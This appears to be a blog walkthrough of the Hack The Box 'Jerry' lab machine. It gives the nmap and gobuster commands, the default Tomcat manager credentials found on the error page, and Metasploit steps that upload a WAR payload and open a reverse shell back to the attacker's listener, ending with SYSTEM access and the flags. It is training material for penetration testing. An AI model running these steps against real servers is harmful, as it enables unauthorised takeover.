top of page
Search

Jerry

  • Admin
  • Jan 7, 2022
  • 2 min read

Updated: Jul 10, 2023

First you need to copy the IP of the target machine - You can find it in your Hack The Box account. For this walkthrough the IP of the target is 10.129.238.159 but you will have a different one.


As usual let's start with nmap:

nmap -sC -sV 10.129.238.159
ree

We are suggested to try -Pn so let's try:

nmap -sV -Pn 10.129.238.159
ree

Port 8080 is open so let's open our browser and type in the url bar:

10.129.238.159:8080

We get this website

ree

As usual let's first do a gobuster to enumerate any hidden directories on this website. Type:

gobuster dir -u http://10.129.238.159:8080 -w /opt/useful/SecLists/Discovery/Web-Content/common.txt -x php
ree

We can look into each of these directories but one that stands out is /manager so let's open our browser and type the following in the url bar:

10.129.238.159:8080/manager
ree

We are prompted for a login. Let's try our luck and enter admin as username and admin as the password. We get the following error message:

ree

Looks like there are some credentials here. tomcat as the username and s3cret as the password.

Let's try to login again but this time with tomcat and s3cret.


Open the browser and type in the url bar:

10.129.238.159:8080/manager

But this time we are unable to provide our login details and we go straight to the error message.


Let's clear our cookies, close the browser and try again!

This time we get the login page back, so let's enter tomcat as the username and s3cret as the password:

ree

This time we are in!

ree

Now let's google the following "Apache Tomcat Reverse Shell" and see what we can find. The first link seems interesting : https://vk9-sec.com/apache-tomcat-manager-war-reverse-shell/


Let's follow the steps in the article. Looks like they are using 2 metasploit exploits, one to get the credentials (which we already found) and a second exploit to get a shell on the target machine.


First we need to open Metasploit, so from your command prompt, type:

msfconsole
ree

search tomcat
ree

As recommended in the article, let's use auxiliary/scanner/http/tomcat_mgr_login so type:

use auxiliary/scanner/http/tomcat_mgr_login 
ree

Type:

show options
ree

For the exploit to work, we are required to provide the following:

RHOSTS - remote Host

RPORT - remote Port


set RHOSTS 10.129.238.159
ree

set RPORT 8080
ree

now let's run the exploit:

exploit
ree

We get 1 Login Successful with username tomcat and password s3cret


Still following the article above, let's look for the second exploit:

search tomcat_mgr
ree

use exploit/multi/http/tomcat_mgr_upload
ree

show options
ree

We need to provide RHOSTS (remote host) and RPORT (remote port) along with LHOST (local host) and LPORT (local port) for the exploit to work.

set RHOSTS 10.129.238.159
set RPORT 8080
set LHOST 10.10.14.10

For LHOST we provide the IP of our machine. You can find it by opening a new command prompt window on your machine and type ifconfig

set LPORT 4444
ree

Now that we have set up everything, let's run the exploit

exploit
ree

ok it didn't work! that's because it needs a username and a password to access http://10.129.238.159:8080/manager


We found the username and the password earlier. Username is tomcat and password is s3cret so let's set that up too:


set HttpPassword s3cret
set HttpUsername tomcat
ree

exploit
ree

Great! now we got the shell!


First type:

shell
ree

whoami
ree

We are nt authority\system which is a powerful account with unrestricted access to the system!


cd C:/
ree

Flags are often in the C:\Users\Administrator\Desktop directory so let's type:

cd C:\Users\Administrator\Desktop
ree

dir
ree

cd flags
ree

dir
ree

type "2 for the price of 1.txt"
ree

We got both the user flag and the root flag!


Don't forget to copy paste these flags and submit these flags in your Hack The Box account to be able to fully own the Jerry machine.

Recent Posts

See All

Comments

Rated 0 out of 5 stars.
No ratings yet

Add a rating

©2025 by My Tech On IT

bottom of page